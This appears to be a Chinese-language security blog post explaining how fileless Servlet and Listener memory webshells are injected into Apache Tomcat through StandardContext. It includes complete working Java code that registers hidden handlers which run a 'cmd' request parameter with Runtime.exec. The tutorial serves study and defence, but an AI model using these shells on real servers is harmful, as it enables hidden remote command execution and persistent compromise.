Java安全之基於Tomcat的Servlet&Listener內存馬


Java安全之基於Tomcat的Servlet&Listener內存馬

寫在前面

接之前的Tomcat Filter內存馬文章,前面學習了下Tomcat中Filter型內存馬的構造,下面學習Servlet型的構造,后續並分析一下Godzilla中打入Servlet型內存馬的代碼。

學習之前首先將前面Filter型內存馬做一個簡單的回顧,首先之前構造的Filter型內存馬看網上文章講是指支持Tomcat7以上,原因是因為 javax.servlet.DispatcherType 類是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。

且在Tomcat7與8中 FilterDef 和 FilterMap 這兩個類所屬的包名不一樣
tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

但是Servlet則是在Tomcat7與8中通用的,而Godzilla的內存馬也是Servlet型內存馬

ServletContext跟StandardContext的關系

Tomcat中的對應的ServletContext實現是ApplicationContext。在Web應用中獲取的ServletContext實際上是ApplicationContextFacade對象,對ApplicationContext進行了封裝,而ApplicationContext實例中又包含了StandardContext實例,以此來獲取操作Tomcat容器內部的一些信息,例如Servlet的注冊等。

Servlet型內存馬構造

還是在ApplicationContext類中,有4個addServlet方法,前三個為重載

最終會走到該addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams)方法內,該方法代碼如下。

流程為:首先判斷servletName是否為空,之后從StandardContext中獲取child屬性並轉換為wrapper對象,如果wrapper為空就通過StandardContext的createWrapper方法創建一個Wrapper並通過StandardContext addChid方法將Wrapper添加到StandardContext的屬性Child中。方法最后會返回ApplicationServletRegistration對象

private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException {
        if (servletName != null && !servletName.equals("")) {
            if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
                throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()}));
            } else {
                Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
                if (wrapper == null) {
                    wrapper = this.context.createWrapper();
                    wrapper.setName(servletName);
                    this.context.addChild(wrapper);
                } else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
                    if (!wrapper.isOverridable()) {
                        return null;
                    }

                    wrapper.setOverridable(false);
                }

                ServletSecurity annotation = null;
                if (servlet == null) {
                    wrapper.setServletClass(servletClass);
                    Class<?> clazz = Introspection.loadClass(this.context, servletClass);
                    if (clazz != null) {
                        annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
                    }
                } else {
                    wrapper.setServletClass(servlet.getClass().getName());
                    wrapper.setServlet(servlet);
                    if (this.context.wasCreatedDynamicServlet(servlet)) {
                        annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
                    }
                }

                if (initParams != null) {
                    Iterator var9 = initParams.entrySet().iterator();

                    while(var9.hasNext()) {
                        Entry<String, String> initParam = (Entry)var9.next();
                        wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
                    }
                }

                javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
                if (annotation != null) {
                    registration.setServletSecurity(new ServletSecurityElement(annotation));
                }

                return registration;
            }
        } else {
            throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
        }
    }

先構造出Servlet型內存馬,代碼參照su18師傅的文章,先照搬過來,然后再去分析代碼,最后對代碼存在的疑問做一個簡單的分析。

其實大體上流程與Filter型差不多,只不過這次需要動態注冊Servlet而不是Filter,所以在動態注冊哪里代碼進行一些改動即可

@WebServlet("/addServletMemShell")
public class ServletMemShell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 獲取ServletContext
        final ServletContext servletContext = req.getServletContext();
        Field appctx = null;
        try {
            // 獲取ApplicationContext
            appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            // 獲取StandardContext
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String ServletName = "ServletMemShell";
            // 創建一個與程序現有Servlet不重名的Servlet
            if (servletContext.getServletRegistration(ServletName) == null){
                HttpServlet httpServlet = new HttpServlet(){
                    @Override
                    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                        this.doPost(req, resp);
                    }

                    @Override
                    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                        String cmd = req.getParameter("cmd");
                        if (cmd!=null){
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                            int len;
                            while ((len = bufferedInputStream.read())!=-1){
                                resp.getWriter().write(len);
                            }
                        }
                    }
                };

                // Standard createWrapper 拿到Wrapper封裝Servlet
                Wrapper wrapper = standardContext.createWrapper();
                    //在Wrapper中設置ServletName
                wrapper.setName(ServletName);
              	// 注意下面這一行代碼
                wrapper.setLoadOnStartup(1);
                wrapper.setServlet(httpServlet);
                wrapper.setServletClass(httpServlet.getClass().getName());

                // 向children中添加wrapper
                standardContext.addChild(wrapper);
                // 設置ServletMappings
                standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);

               resp.getWriter().write("Inject Tomcat ServletMemShell Success!");

            }


        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

依舊是先訪問上面構造的Servlet,之后會幫我們注冊一個Servlet內存馬。

Servlet內存馬創建分析

其實關鍵部分就是下面這段代碼

// Standard createWrapper 拿到Wrapper封裝Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中設置ServletName
wrapper.setName(ServletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());

// 向children中添加wrapper
standardContext.addChild(wrapper);
// 設置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);

個人認為與filter型不同點在於wrapper.setLoadOnStartup(1);,那么loadOnStartup在什么地方被調用呢?回看了下調用棧,發現在StandardContext#startInternal方法中,依次調用了listenerStartfilterStartloadOnStartup方法,

跟一下loadOnStartup方法,前面是獲取children屬性並進行遍歷

getLoadOnStartup()代碼如下,這是StandardWrapper的屬性loadOnStartup的get方法,依據條件,我們的代碼中先通過 wrapper.setLoadOnStartup(1);將其設置為1,那最后這里返回的值也是1.

也因此會進入下面的if中最后調用StandardWrapper#load方法,在load方法中進行Servlet的加載與初始化。

總體的調用棧如下,不過中間被省略了不少,比如addChild,chidStart,addServlet方法都有經過,感興趣的師傅可以自己調試下

那上面是針對於存在loadOnStartup屬性的Servlet。

有意思的來了,可以嘗試把我們上面的wrapper.setLoadOnStartup(1);這行代碼去掉,測試后發現依然不影響Servlet內存馬的注入。: )

這里涉及到Servlet的一個加載問題:

針對配置了 load-on-startup 屬性的 Servlet 而言,其它一般 Servlet 的加載和初始化會推遲到真正請求訪問 web 應用而第一次調用該 Servlet 時

在非配置load-on-startup 屬性的 Servlet 而言,是不會在系統加載的時候創建具體的處理實例對象,依舊還只是個配置記錄在Context中。真正的創建則是在第一次被請求的時候,才會實例化

那疑問就解決了,wrapper.setLoadOnStartup(1);只是影響Servlet在何時進行加載,而不影響他是否加載。

那沒有loadOnStartup屬性的Servlet怎么加載的呢?

回到調用棧中StandardWrapperValve#invoke方法中,重點是下面這一行

跟進去看實現,所以是在StandardWrapper#allocate方法中進行的Servlet加載與初始化

綜上,那其實創建Servlet的流程就不難理解了。

依舊是獲取到StandardContext,創建Servlet的封裝類Wrapper,也就是StandardWrapper,后續設置ServletNam與ServletClass並指定類與ServletMapping ,類似於Web.xml中的配置就是

<servlet>
  <servlet-name> </servlet-name>
  <servlet-class> </servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name> </servlet-name>
  <url-pattern> </url-pattern>
</servlet-mapping>

后續就是添加到child屬性中,等待第一次訪問該Servlet時讓Tomcat去加載就好了,或者設置了wrapper.setLoadOnStartup(1);可以直接在系統加載的時候創建Servlet

Listener型內存馬

Listener 可以譯為監聽器,監聽器用來監聽對象或者流程的創建與銷毀,通過 Listener,可以自動觸發一些操作,因此依靠它也可以完成內存馬的實現。

在應用中可能調用的監聽器如下:

  • ServletContextListener:用於監聽整個 Servlet 上下文(創建、銷毀)
  • ServletContextAttributeListener:對 Servlet 上下文屬性進行監聽(增刪改屬性)
  • ServletRequestListener:對 Request 請求進行監聽(創建、銷毀)
  • ServletRequestAttributeListener:對 Request 屬性進行監聽(增刪改屬性)
  • javax.servlet.http.HttpSessionListener:對 Session 整體狀態的監聽
  • javax.servlet.http.HttpSessionAttributeListener:對 Session 屬性的監聽

Tomcat中保存的Listener對象在 StandardContext 的 applicationEventListenersObjects 屬性中,同時StandardContext存在addApplicationEventListener方法來添加Listener。

本次用到的是ServletRequestListener接口,該接口提供兩個方法requestInitializedrequestDestroye分別在Request對象創建和銷毀的時候自動觸發執行方法內的內容,而該方法接受的參數為ServletRequestEvent對象,其中可以獲取ServletContext 對象和 ServletRequest 對象。

構造惡意Listener

public class ListenerMemShell implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        RequestFacade request = (RequestFacade) sre.getServletRequest();
        try {
            Field req = request.getClass().getDeclaredField("request");
            req.setAccessible(true);
            Request request1 = (Request) req.get(request);
            Response response = request1.getResponse();
            String cmd = request1.getParameter("cmd");
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            int len;
            while ((len = is.read()) != -1){
                response.getWriter().write(len);
            }


        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

可以寫一些工具類對上面的惡意Listener做一些處理,比如將class文件轉成byte再轉base64之后在Servlet中解碼加載字節碼

@WebServlet("/addListenerMemShell")
public class ListenerMemShell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 獲取ServletContext
        final ServletContext servletContext = req.getServletContext();
        Field appctx = null;
        try {
            // 獲取ApplicationContext
            appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            // 獲取StandardContext
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance());
            
            resp.getWriter().write("Success For Add Listnenr CmdMemShell !");
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }


    }
}

先訪問addListenerMemShell

之后隨便訪問個Servlet在參數中輸入想要執行的命令即可。

End

其實在Tomcat環境下,相較於Servlet,本人更喜歡Filter和Listener型的內存馬,主要是在於Filter、Listener的訪問都在Servlet之前,也就避免了一些可能會出現玄學和花里胡哨的問題。而關於Listener,玩法應該還有很多,只是看到的文章比較少可能以后會更多的去嘗試Listener型內存馬,比如打behinder3和Godzilla。

后面學習下通過反序列化打內存馬的姿勢,集成上打哥斯拉和behinder的內存馬,順帶改造下yso,以及將反序列化命令執行與回顯鏈進行縫合,也可以集成到yso里。包括近期有看到關於filter的處理做到簡單的免殺,以及不同容器的內存馬注入和Tomcat下StandardContext的獲取做到6789版本通殺,會放在后面一點點研究。

Reference

http://www.xiao-hang.xyz/2019/05/16/Tomcat源碼分析-三-WEB加載原理-二/

https://su18.org/post/memory-shell/

https://github.com/su18/MemoryShell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM